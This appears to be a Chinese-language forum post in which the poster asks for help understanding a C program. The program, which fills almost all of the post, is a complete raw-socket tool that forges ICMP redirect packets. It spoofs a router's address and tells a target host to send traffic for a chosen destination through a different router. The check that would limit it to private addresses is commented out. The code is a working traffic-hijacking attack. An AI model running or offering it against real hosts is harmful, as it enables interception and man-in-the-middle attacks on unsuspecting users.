一头雾水,请大家指教!
下面这个重定位的程序,看了整个晚上,还是看不懂,请大家多多少少给点解释,
启发也行阿
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#define __FAVOR_BSD
#include <netinet/udp.h>
#include <arpa/inet.h>
#define CHKADDRESS(_saddr_)\
{\
u_char *p=(char *) & (_saddr_);\
if((p[0]==10)\
||(p[0]==168 && 16<=p[1] && p[1]<=31)\
||(p[0]==192 && p[1]==168));\
else {\
fprintf(stderr,"IP address error.\n");\
exit(EXIT_FAILURE);\
}\
}
enum{CMD_NAME,TARGET_IP,OLD_ROUTER,NEW_ROUTER,DST_IP};
void make_udp_header (struct udphdr * udp);
void make_ip_header(struct ip *ip,int target_ip,int dst_ip,int proto,int iplen);void make_icmp5_header(struct icmp*icmp,u_int gw_ip);
u_short checksum (u_short * ptr,int nbytes);
int main(int argc,char * argv[])
{
struct sockaddr_in dest;
unsigned char buff [1500];
struct ip * ip_new;
struct ip * ip_old;
struct icmp * icmp;
struct udphdr *udp;
int s;
int size;
int on = 1;
if (argc!=5)
{
fprintf (stderr,"usage %s targetd_host old_router new_router dst_ip\n",argv[CMD_NAME]);
exit(EXIT_FAILURE);
}
if ((s=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)
{
perror("socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}
if (setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *) & on, sizeof(on))<0)
{
perror("setsockopt (IP_HDRINCL)");
exit(EXIT_FAILURE);
}
ip_new = (struct ip*) (buff);
icmp=(struct icmp*) (buff+20);
ip_old = (struct ip*)(buff+20+8);
udp=(struct udphdr *)(buff+20+8+20);
size=20+8+20+8;
make_udp_header(udp);
make_ip_header(ip_old,inet_addr(argv[TARGET_IP]),inet_addr(argv[DST_IP]),IPPROTO_UDP,100);
make_icmp5_header(icmp,inet_addr(argv[NEW_ROUTER]));
make_ip_header(ip_new,inet_addr(argv[OLD_ROUTER]),inet_addr(argv[TARGET_IP]),IPPROTO_ICMP,size);
memset((char*) &dest,0,sizeof(dest));
dest.sin_family=AF_INET;
dest.sin_addr.s_addr=inet_addr(argv[TARGET_IP]);
// CHKADDRESS(dest.sin_addr.s_addr);
if(sendto(s,buff,size,0,(struct sockaddr *) & dest,sizeof (dest))<0)
{
perror(" sendto");
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
void make_ip_header(struct ip *ip,int target_ip,int dst_ip,int proto,int iplen)
{
memset((char *) ip,0,sizeof(struct ip));
ip->ip_v=IPVERSION;
ip->ip_hl=sizeof(struct ip)>>2;
ip->ip_id=htons(0);
ip->ip_off=0;
#ifdef __linux
ip->ip_len=htons(iplen);
ip->ip_off=htons(IP_DF);
#else
ip->ip_len=iplen;
ip->ip_off=IP_DF;
#endif
ip->ip_ttl=2;
ip->ip_p=proto;
ip->ip_src.s_addr=target_ip;
ip->ip_dst.s_addr=dst_ip;
ip->ip_sum=0;
ip->ip_sum=checksum((u_short *)ip,sizeof(struct ip));
}
void make_icmp5_header(struct icmp *icmp,u_int gw_ip)
{
icmp->icmp_type=ICMP_REDIRECT;
icmp->icmp_code=0;//ICMP_REDIRECT_HOST;
icmp->icmp_gwaddr.s_addr=gw_ip;
icmp->icmp_cksum=0;
icmp->icmp_cksum=checksum((u_short *) icmp,8+20+8);
}
void make_udp_header (struct udphdr * udp)
{
udp->uh_sport = htons(0);
udp->uh_ulen=htons((u_short) sizeof(struct udphdr));
udp->uh_dport=htons(33434);
udp->uh_sum=htons(0);
}
u_short checksum(u_short * data,int len)
{
u_long sum=0;
for (;len>1;len-=2)
{
sum+=*data++;
if (sum& 0x80000000)
sum=(sum&0xffff)+(sum>>16);
}
if (len==1)
{
u_short i=0;
* (u_char*)(&i)=*(u_char*)data;
sum+=i;
}
while (sum>>16)
sum = (sum & 0xffff)+(sum>>16);
return(sum==0xffff)?sum:~sum;
}